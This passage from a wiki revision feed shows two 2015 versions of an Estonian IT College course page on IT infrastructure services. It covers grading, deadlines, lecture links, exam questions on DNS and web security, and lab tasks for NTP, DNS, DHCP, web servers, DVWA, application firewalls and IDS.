[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng07%20-%20iptables.odp Loeng 07 Tulemüürid]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng08%20-%20SAN%20-%20NAS%20-%20CAS.odp Loeng 08 SAN NAS CAS]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng09%20-%20Virtualiseerimine.odp Loeng 09 Virtualiseerimine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng10%20-%20DHCP.odp Loeng 10 DHCP]&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Category:I375/I803/I853_IT_Infrastructure_services&amp;diff=88414</id>
		<title>Category:I375/I803/I853 IT Infrastructure services</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Category:I375/I803/I853_IT_Infrastructure_services&amp;diff=88414"/>
		<updated>2015-05-11T10:28:31Z</updated>

		<summary type="html">&lt;p&gt;Mernits: /* Teemad 2015 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Üldinfo=&lt;br /&gt;
Aine info: [https://itcollege.ois.ee/study-material/round?round_id=2230 IT infrastruktuuri teenused ÕIS leht]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/ Aine õppematerjalid]&lt;br /&gt;
&lt;br /&gt;
ECTS: 5&lt;br /&gt;
&lt;br /&gt;
Hindamisviis: Arvestus&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Rangelt soovituslik aine:&#039;&#039;&#039; Operatsioonisüsteemide administreerimine ja sidumine (I233)&lt;br /&gt;
&lt;br /&gt;
==Õppejõud==&lt;br /&gt;
Margus Ernits  &amp;gt;&amp;gt;  margus (.) ernits (ät) itcollege (.) ee&lt;br /&gt;
&lt;br /&gt;
Katrin Loodus  &amp;gt;&amp;gt;  katrin (.) loodus (ät) itcollege (.) ee&lt;br /&gt;
&lt;br /&gt;
=Eesmärk ja sisu=&lt;br /&gt;
Tutvustada IT infrastruktuuri teenuste põhimõisteid. Anda oskused põhiliste teenuste paigaldamiseks ja turvamiseks. Anda oskused IT infrastruktuuri teenuste dokumenteerimiseks.&lt;br /&gt;
Eesmärgi saavutamiseks toimuvad laboratoorsed tööd, mille käigus installeeritakse ja konfigureeritakse teenuseid pöörates rõhku teenuse turvalisusele, millele eelnevad loengud alus- ja põhimõistete tutvustamiseks.&lt;br /&gt;
&lt;br /&gt;
=Ainekaart=&lt;br /&gt;
Ainekaardi viimase, kuid mitte lõpliku versiooni leiab [https://wiki.itcollege.ee/images/6/67/I385_IT_infrastruktuuri_teenused_aineprogramm_2013.odt siit]&lt;br /&gt;
&lt;br /&gt;
=Eelmiste aastate tagasiside=&lt;br /&gt;
[https://wiki.itcollege.ee/images/e/e3/Tagasiside.p%C3%A4eva%C3%B5pe-2013.pdf 2013 kaugõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/4/4d/It-infra-tagasiside-2012-1.pdf 2012 kaugõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/2/28/It-infra-tagasiside-2012-2.pdf 2012 päevaõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
=Arvestus ja hindamine=&lt;br /&gt;
&lt;br /&gt;
Aine on jagatud praktilisteks ja teoreetilisteks töödeks. Kaheksaks (8) laboriks ning kaheks (2) teoreetiliseks kontrolltööks. &lt;br /&gt;
&lt;br /&gt;
Lisaks on tarvis teha eraldi dokumentatsiooni ehk ühe kaitstud labori kohta &#039;&#039;&#039;viki artikkel&#039;&#039;&#039;. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Praktiliste tööde&#039;&#039;&#039; hulka kuuluvad erinevate teenuste paigaldamine ning seadistamine. Ühe labori eest on võimalik saada maksimaalselt 6 punkti. &lt;br /&gt;
&lt;br /&gt;
* 2 punkt on võimalik saada teenuse seadistamise, paigaldamise ning suulise kaitsmise eest. (Õppejõud võib seadistust muuta ning paluda paranduste kohta selgitust)&lt;br /&gt;
* 4 punkti on võimalik saada, kui kaitsta oskuslikult konkreetse labori kohta käivad teoreetilised teadmised suuliselt õppejõule. (Küsimused esitab õppejõud)&lt;br /&gt;
* 6 punkti on võimalik saada, kui parandada konkreetse teema kohta käivat juhendit ning esitada tulemuse õppejõule. (Mõeldud ambitsioonikamatele tudengitele)&lt;br /&gt;
&lt;br /&gt;
Lävendiks on 2 punkt, mis tähendab praktilise osa teostust. Kui iga labori eest on ainult 2 punkt, tuleb teoreetilised teadmised kaitsta kontrolltöö käigus, aga kui iga labori eest on vähemalt 4 punkti, ei ole kontrolltööd tarvis teha. &lt;br /&gt;
&lt;br /&gt;
==Tähtajad päevaõppele 2015==&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (laborid 1-3): 16. märts&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (Laborid 4-6): 18. mai&lt;br /&gt;
&lt;br /&gt;
Praktilise töö labori kaitsmised (Labor 8): ~20. mai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dokumentatsioon (viki artikkel): 25. mai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 1: 16. märts&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 2: 18. mai&lt;br /&gt;
&lt;br /&gt;
==Tähtajad kaugõppele 2015==&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (laborid 1-3): &lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (Laborid 4-6):&lt;br /&gt;
&lt;br /&gt;
Praktilise töö labori kaitsmised (Labor 8): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dokumentatsioon (viki artikkel): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 1: &lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 2:&lt;br /&gt;
&lt;br /&gt;
=Loengud=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Kaugõppe 2015. aasta kevadsemestri loengusalvestused on leitavad [https://echo360.e-ope.ee/ess/portal/section/57596897-5ba5-46cb-b1b2-b4a4619f5eb0 siit]&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/loeng00%20-%20Sissejuhatav%20loeng.odp Sissejuhatav loeng] - &amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;NB siin on kirjas hindamiskriteeriumid ja tähtajad.&amp;lt;/span&amp;gt; Lisaks on kirjas kontrolltööde ajad ja muu aine läbimiseks oluline info. (Päevaõppes toimus 02.02.2014)&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/skriptimine/bash/src/juurteenused-ntp.html NTP teenus] (Päevaõppes toimus 02.02.2015)&lt;br /&gt;
&lt;br /&gt;
[https://www.us-cert.gov/ncas/alerts/TA14-013A NTP amplification Attack]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;Kodutöö nr 1. Tähtaeg 9.02.2015. DNS loenguks lugeda läbi DNS põhimõisted järgnevatest materjalidest:&amp;lt;/span&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Kohustuslik:&lt;br /&gt;
http://kuutorvaja.eenet.ee/wiki/DNS_ja_BIND&lt;br /&gt;
&lt;br /&gt;
Soovituslik:&lt;br /&gt;
http://kuutorvaja.eenet.ee/wiki/DNS&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Interneti%20domeeninimede%20s%c3%bcsteem%20-%20IT%20infra%20loeng.odp DNS loeng (OpenDocument)] [http://enos.itcollege.ee/~mernits/infrastruktuur/Interneti%20domeeninimede%20s%c3%bcsteem%20-%20IT%20infra%20loeng.pdf (PDF)]&lt;br /&gt;
&lt;br /&gt;
[http://elab.itcollege.ee:8000/infra/bind/ BIND9 konfiguratsiooni näitefailid]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1ZeQpPXdVq1C7RQpxQYR0gBB0OBMYB_0g6aFFxs_-fIA/edit DNS näide]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Infra%20loeng%20DHCP%202013.odp DHCP loeng]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1yUEWHldPhIbeVRh3k-zmwEg1OJmIGywMKVZY4XslpDY/edit# DHCP näitelabor]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/14Cj90aWN4n4MCO_zZlZzu0aHJeIDTPEfQgiDXIuMxF4/edit# DNS uuendamine DHCP abil]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng04%20-%20Veebiserver.odp Veebiserveri loeng] &lt;br /&gt;
&lt;br /&gt;
Screencast veebiserveri konfigureerimisest: &lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-1.ogv&lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-2.ogv&lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-3.ogv&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;Kodutöö nr 2. Tähtaeg 20.aprill.2015. Lugeda läbi [http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202013%20-%20RC1.pdf OWASP top 10 2013] &amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Mõisted kontrolltööks ja arvestuseks=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Esimese kontrolltöö küsimused:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
*DNS mõistete kohta leiab infot: http://kuutorvaja.eenet.ee/wiki/DNS&lt;br /&gt;
*hostinimi (mis märgid on hostinimes lubatud ja kus?)&lt;br /&gt;
*host täisnimi&lt;br /&gt;
*domeeni täisnimi&lt;br /&gt;
*DNS&lt;br /&gt;
*A-kirje&lt;br /&gt;
*alias ehk CNAME&lt;br /&gt;
*puhverdamine&lt;br /&gt;
*dig ja selle kasutamine&lt;br /&gt;
*DNS spoofing&lt;br /&gt;
*domeen ja domeeninimi&lt;br /&gt;
*Authoritative ehk pädev server&lt;br /&gt;
*Forwarding ehk edastamine&lt;br /&gt;
*FQDN&lt;br /&gt;
*Host&lt;br /&gt;
*PTR-kirje&lt;br /&gt;
*rekursiivne lahendus&lt;br /&gt;
*primaarne server&lt;br /&gt;
*sekundaarne server&lt;br /&gt;
*open resolver&lt;br /&gt;
*kuidas nimelahendus töötab, kirjelda näiteks &amp;quot;kui veebisirvijas avatakse leht, siis mis võiks toimuda?&amp;quot;&lt;br /&gt;
*selgitage näitekonfi&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$TTL    600&lt;br /&gt;
@       IN      SOA     planet.zz. root.planet.zz. (&lt;br /&gt;
                              3         ; Serial - Mida see tähendab?&lt;br /&gt;
                         3600           ; Refresh - Mida see tähendab?&lt;br /&gt;
                          8640          ; Retry - Mida see tähendab?&lt;br /&gt;
                        36000           ; Expire - Mida see tähendab?&lt;br /&gt;
                         3600 ) ; Negative Cache TTL - Mida see tähendab?&lt;br /&gt;
;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Teise kontrolltöö küsimused:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
*virtuaalhost&lt;br /&gt;
*http&lt;br /&gt;
*Kuidas toimub ssl/tls ühenduse algatamine?&lt;br /&gt;
*Mis vahe on sümmeetrilisel ja asümmeetrilisel krüpteerimisel?&lt;br /&gt;
*Mis vahe on avalikul võtmel ja sertifikaadil?&lt;br /&gt;
*https&lt;br /&gt;
*SNI&lt;br /&gt;
*IPS&lt;br /&gt;
*IDS&lt;br /&gt;
*Mis vahe on reflected XSS ja stored XSS rünnetel?&lt;br /&gt;
*Mis vahe on SQL injectionil ja blind SQL injectionil?&lt;br /&gt;
*Mis on secure cookie? (http://php.net/session.cookie-secure ;session.cookie_secure =)&lt;br /&gt;
*Mis tähendab, et küpsised on http_only?&lt;br /&gt;
*Kas XSS ründeid saab filtreerida andmebaasikihis, näiteks SQL tulemüüriga?&lt;br /&gt;
*Mis on CSRF ja kuidas see toimib?&lt;br /&gt;
*Mis on same origin policy?&lt;br /&gt;
&lt;br /&gt;
=Dokumentatsioon=&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng05%20-%20Dokumentatsioon.odp Dokumentatsioonist (loeng)]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Aruannete%20hindamise%20juhend.pdf Hindamismaatriksi näide]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Teemad 2015 ==&lt;br /&gt;
&lt;br /&gt;
[[SQL tulemüürid]] -- Otsida erinevaid SQL tulemüüre ja kirjata nende põhiparameerid&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[sqlmap]]&lt;br /&gt;
&lt;br /&gt;
[[p0f]] http://tools.kali.org/information-gathering/p0f&lt;br /&gt;
&lt;br /&gt;
[[hping]] http://www.hping.org/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Yersinia]] -  http://www.yersinia.net/&lt;br /&gt;
&lt;br /&gt;
=Abimaterjal=&lt;br /&gt;
* [http://tools.ietf.org/html/rfc2131 RFC2131] &lt;br /&gt;
* [http://kuutorvaja.eenet.ee/wiki/Isc-dhcpd_server Kuutõrvaja DHCP materjal] &lt;br /&gt;
&lt;br /&gt;
Abimaterjal laboriks: &lt;br /&gt;
* Maskeraad [[Ufw]]&lt;br /&gt;
* DHCP serveri seadistamine [[DHCP]]&lt;br /&gt;
* [http://www.debian-administration.org/article/343/Configuring_Dynamic_DNS__DHCP_on_Debian_Stable Dünaamiline DNS kirjete uuendamine DHCP poolt]&lt;br /&gt;
* [http://debianclusters.org/index.php/Troubleshooting_DHCP DHCP probleemide lahendamine]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng11%20-%20Monitooring.odp Loeng 11 Monitooring]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng12%20-%20LDAP.odp Loeng 12 LDAP]&lt;br /&gt;
&lt;br /&gt;
=Praktilised tööd=&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/spreadsheets/d/1TiErlKTrnW3T_dcjceMyeLr9yCHBDwTmjXDxkAf1hDw/edit?usp=sharing Nimekiri] DNS labori masinate IP vahemikega ning domeeninimedega&lt;br /&gt;
&lt;br /&gt;
==Sissejuhatav praktikum==&lt;br /&gt;
&lt;br /&gt;
Valige endale domeeninimi, näiteks eikkasutaja.zz.&lt;br /&gt;
&lt;br /&gt;
Seadke DNS serverile IP aadress 192.168.56.201&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nano /etc/network/interfaces # Avab võrguliideste faili.&lt;br /&gt;
# DNS serveri eth1 võrguliidesel tuleb muuta esialgne IP-address 192.168.56.200 uueks IP-addressiks 192.168.56.201&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
  address 192.168.56.201&lt;br /&gt;
  netmask 255.255.255.0&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Taaskäivitage võrguliides &#039;&#039;&#039;eth1&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifdown eth1 &amp;amp;&amp;amp; ifup eth1&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Muutke DNS serveril hostinimi ns.sinudomeen.&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo ns &amp;gt; /etc/hostname&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Muutke /etc/hosts failis masinanimi&lt;br /&gt;
&lt;br /&gt;
127.0.1.1       ns.sinudomeen   ns&lt;br /&gt;
&lt;br /&gt;
Näiteks valisin oma domeeniks mernits.zz&lt;br /&gt;
&lt;br /&gt;
127.0.1.1       ns.mernits.zz   ns&lt;br /&gt;
&lt;br /&gt;
startige teenus &#039;&#039;&#039;hostname&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service hostname start&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Korraldus hostname -f peab tagastama FQDN-i&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
hostname -f&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seadistage ka võtmetepõhine autentimine [[OpenSSH: võtmetega autentimine]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Image:Infra-a21-2015.png|thumb|Kasutatav võrk]]&lt;br /&gt;
&lt;br /&gt;
==Labor 1 - NTP seadistamine (6p/6%)==&lt;br /&gt;
Loe läbi õppematerjal (loengud) ja seadista NTP teenus nii kliendis, kui ka serveris selliselt, et klient küsib aega ainult serverist (ja ka localhostist, mille prioriteet on madal e fudge 10) Server küsib aega EENET NTP serverist ja mõnest muust Eestis asuvast NTP serverist.&lt;br /&gt;
&lt;br /&gt;
Seadistage server selliselt, et ei välisvõrgust ei saa teha järgmisel lingil kirjeldatud rünnet https://www.us-cert.gov/ncas/alerts/TA14-013A&lt;br /&gt;
&lt;br /&gt;
[[NTP Ubuntus]]&lt;br /&gt;
&lt;br /&gt;
==Labor 2 - DNS seadistamine (6p/6%)==&lt;br /&gt;
&lt;br /&gt;
*Mõtle välja endale domeeninimi&lt;br /&gt;
*Loo domeeninimele tsoonifail ja seadiste nimeserver&lt;br /&gt;
*Luba rekursiivne lahendus oma sisevõrgust&lt;br /&gt;
*Loo reevers tsoon&lt;br /&gt;
*Loo A kirjed e-posti, nimeserveri jaoks&lt;br /&gt;
*Loo CNAME kirjed www, samba ja oma severi jaoks&lt;br /&gt;
&lt;br /&gt;
Näitelahendus [https://docs.google.com/document/d/1ZeQpPXdVq1C7RQpxQYR0gBB0OBMYB_0g6aFFxs_-fIA/edit Domain Name Server ehk nimeserveri labor]&lt;br /&gt;
&lt;br /&gt;
Näitelahendus2 [[Nimeserveri labor V.2]]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/dns/DNS_BIND.html Väike abiinfo lisaks loengule]&lt;br /&gt;
&lt;br /&gt;
Kaitsmisel pead oskama luua uut tsooni, lisama kirjeid, oskama kasutada rndc, dig, nslookup vahendeid.&lt;br /&gt;
&lt;br /&gt;
==Labor 3 - DHCP seadistamine (6p/6%)==&lt;br /&gt;
* DHCP paigaldamine ja seadistamine (6p)&lt;br /&gt;
&lt;br /&gt;
Seadista labori desktop VM saamaks IP aadressi ja nimeserverit sama labori serveri VM käest.&lt;br /&gt;
&lt;br /&gt;
PS: desktop võrguseadetest eemalda esimeselt liideselt nimelahenduse küsimine (küsitakse DHCP abil ainult IP aadress). Kui seda ei tee, siis lähevad DNS päringud ikkagi esimese, NAT liidese kaudu.&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1yUEWHldPhIbeVRh3k-zmwEg1OJmIGywMKVZY4XslpDY/edit DHCP näitelabor]&lt;br /&gt;
&lt;br /&gt;
==Labor 4 - apache (või nginx) veebiserveri seadistamine (6p/6%)==&lt;br /&gt;
* Loo kaks virtualhosti nii http, kui ka https (self-signed cert) tarbeks.&lt;br /&gt;
** Mõlemad nimied peavad sirvijas töötama (desktop arvutis) nii http, kui ka https abil ja esilehel peab olema selgelt näha kumma virutalhostiga on tegemist. Seega index.html sisse lisa virtualhosti nimi.&lt;br /&gt;
&lt;br /&gt;
* Abimaterjalina võib sobida: Apache2 paigaldamine ja virtualhostide seadistamine [[Virtualhost apache2 näitel]]. Algajale lisamaterjal [[Veebiserveri labor v.2]]&lt;br /&gt;
&lt;br /&gt;
==Labor 5 - mõne veebirakenduse (nt Wordpress) paigaldamine ja turvamine varnishiga (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
Labori eesmärgiks on paigaldada veebirakendus, mõõta selle jõudlust ja seejärel suurendada veebirakenduse jõudlust kasutades puhvermälu. Veebirakenduse ja puhvermälu võib iga tudeng ise valida. Näite teeme WordPress ja WP SuperCace abil. Samas on väga soovitatav valida cache tehnoloogia ise, et erinevad inimesed saaksid võrrelda erinevaid asju.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Wordpress paigaldamine https://docs.google.com/document/d/1AKVigVudVjxQuCz02i6p4Kv8oO4RD6aJiV9pbPuujZY/edit?pli=1&lt;br /&gt;
&lt;br /&gt;
* Wordpress paigaldamine ja jõudluse testimine (varnish) &lt;br /&gt;
[[WordPress turvamine]]&lt;br /&gt;
&lt;br /&gt;
http://wpdevshed.com/top-cache-plugins-wordpress/&lt;br /&gt;
&lt;br /&gt;
[[Varnish]] - vaata http://www.howtoforge.com/putting-varnish-in-front-of-apache-on-ubuntu-debian&lt;br /&gt;
[[Apache logide seadistus]]&lt;br /&gt;
&lt;br /&gt;
==Labor 6 - DVWA paigaldamine ja OWASP testimine (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
Paigaldage DVWA: https://wiki.itcollege.ee/index.php/DVWA&lt;br /&gt;
&lt;br /&gt;
Loe läbi OWASP top 10 ja [http://enos.itcollege.ee/~ttanav/VRI/abiks/mysql_tut.php SQL põhitõed]&lt;br /&gt;
&lt;br /&gt;
Mõned videod:&lt;br /&gt;
&lt;br /&gt;
* https://www.youtube.com/watch?v=CDbWvEwBBxo&lt;br /&gt;
&lt;br /&gt;
==Labor 7 - rakenduste tulemüürid (greensql ja mod_security baasil) (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
==Labor 8 - IDS (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seadistada IDS/IPS ühele oma valitud serverile ja demonstreeida ühe-kahe reegli toimimist.&lt;br /&gt;
&lt;br /&gt;
Juhend: https://wiki.itcollege.ee/index.php/IDS_Systeemid_-_Labor_1&lt;br /&gt;
&lt;br /&gt;
Abistav materjal: https://wiki.itcollege.ee/index.php/Suricata&lt;br /&gt;
&lt;br /&gt;
==Questid, millede eest saab punkte==&lt;br /&gt;
&lt;br /&gt;
Quest 1 (Läbi ja tehtud) - https://docs.google.com/document/d/1oRt9JLF6lcf_Z-ReHCfbZXnSoc-EOBzGprxvIyhq4qk/edit?usp=sharing&lt;br /&gt;
&lt;br /&gt;
=Esitatud referaadid=&lt;br /&gt;
[[IT infrastruktuuri teenused 2013 kevad]]&lt;br /&gt;
&lt;br /&gt;
[[Wordpressi turvalisuse suurendamine]]&lt;br /&gt;
&lt;br /&gt;
=Juurteenuste kursus=&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/skriptimine/bash/src/juurteenused.html Interneti juurteenused]&lt;br /&gt;
&lt;br /&gt;
=Täiendav lugemismaterjal=&lt;br /&gt;
[https://zib.wooop.biz/category/asd/ Erinevad juhendmaterjalid Linuxi teenuste jm seadistamiseks. Autor Gert Vaikre A21]&lt;br /&gt;
&lt;br /&gt;
=Vanad loengumaterjalid=&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng00%20-%20Sissejuhatav%20loeng.odp Loeng 00 - Sissejuhatav loeng - NB Tähtajad ja nõuded]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng01%20-%20E-post.odp Loeng 01 E-post]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng03%20-%20Failiserver.odp Loeng 03 Failiserver]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng04%20-%20Veebiserver.odp Loeng 04 Veebiserver]&lt;br /&gt;
&lt;br /&gt;
[http://goo.gl/6XQ0U WordPress seadistamine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng05%20-%20Dokumentatsioon.odp Loeng 05 Dokumentatsioon]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng06%20-%20VPN.odp Loeng 06 VPN]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng07%20-%20iptables.odp Loeng 07 Tulemüürid]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng08%20-%20SAN%20-%20NAS%20-%20CAS.odp Loeng 08 SAN NAS CAS]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng09%20-%20Virtualiseerimine.odp Loeng 09 Virtualiseerimine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng10%20-%20DHCP.odp Loeng 10 DHCP]&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Category:I375/I803/I853_IT_Infrastructure_services&amp;diff=88413</id>
		<title>Category:I375/I803/I853 IT Infrastructure services</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Category:I375/I803/I853_IT_Infrastructure_services&amp;diff=88413"/>
		<updated>2015-05-11T10:26:59Z</updated>

		<summary type="html">&lt;p&gt;Mernits: /* Teemad 2015 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Üldinfo=&lt;br /&gt;
Aine info: [https://itcollege.ois.ee/study-material/round?round_id=2230 IT infrastruktuuri teenused ÕIS leht]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/ Aine õppematerjalid]&lt;br /&gt;
&lt;br /&gt;
ECTS: 5&lt;br /&gt;
&lt;br /&gt;
Hindamisviis: Arvestus&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Rangelt soovituslik aine:&#039;&#039;&#039; Operatsioonisüsteemide administreerimine ja sidumine (I233)&lt;br /&gt;
&lt;br /&gt;
==Õppejõud==&lt;br /&gt;
Margus Ernits  &amp;gt;&amp;gt;  margus (.) ernits (ät) itcollege (.) ee&lt;br /&gt;
&lt;br /&gt;
Katrin Loodus  &amp;gt;&amp;gt;  katrin (.) loodus (ät) itcollege (.) ee&lt;br /&gt;
&lt;br /&gt;
=Eesmärk ja sisu=&lt;br /&gt;
Tutvustada IT infrastruktuuri teenuste põhimõisteid. Anda oskused põhiliste teenuste paigaldamiseks ja turvamiseks. Anda oskused IT infrastruktuuri teenuste dokumenteerimiseks.&lt;br /&gt;
Eesmärgi saavutamiseks toimuvad laboratoorsed tööd, mille käigus installeeritakse ja konfigureeritakse teenuseid pöörates rõhku teenuse turvalisusele, millele eelnevad loengud alus- ja põhimõistete tutvustamiseks.&lt;br /&gt;
&lt;br /&gt;
=Ainekaart=&lt;br /&gt;
Ainekaardi viimase, kuid mitte lõpliku versiooni leiab [https://wiki.itcollege.ee/images/6/67/I385_IT_infrastruktuuri_teenused_aineprogramm_2013.odt siit]&lt;br /&gt;
&lt;br /&gt;
=Eelmiste aastate tagasiside=&lt;br /&gt;
[https://wiki.itcollege.ee/images/e/e3/Tagasiside.p%C3%A4eva%C3%B5pe-2013.pdf 2013 kaugõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/4/4d/It-infra-tagasiside-2012-1.pdf 2012 kaugõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/2/28/It-infra-tagasiside-2012-2.pdf 2012 päevaõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
=Arvestus ja hindamine=&lt;br /&gt;
&lt;br /&gt;
Aine on jagatud praktilisteks ja teoreetilisteks töödeks. Kaheksaks (8) laboriks ning kaheks (2) teoreetiliseks kontrolltööks. &lt;br /&gt;
&lt;br /&gt;
Lisaks on tarvis teha eraldi dokumentatsiooni ehk ühe kaitstud labori kohta &#039;&#039;&#039;viki artikkel&#039;&#039;&#039;. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Praktiliste tööde&#039;&#039;&#039; hulka kuuluvad erinevate teenuste paigaldamine ning seadistamine. Ühe labori eest on võimalik saada maksimaalselt 6 punkti. &lt;br /&gt;
&lt;br /&gt;
* 2 punkt on võimalik saada teenuse seadistamise, paigaldamise ning suulise kaitsmise eest. (Õppejõud võib seadistust muuta ning paluda paranduste kohta selgitust)&lt;br /&gt;
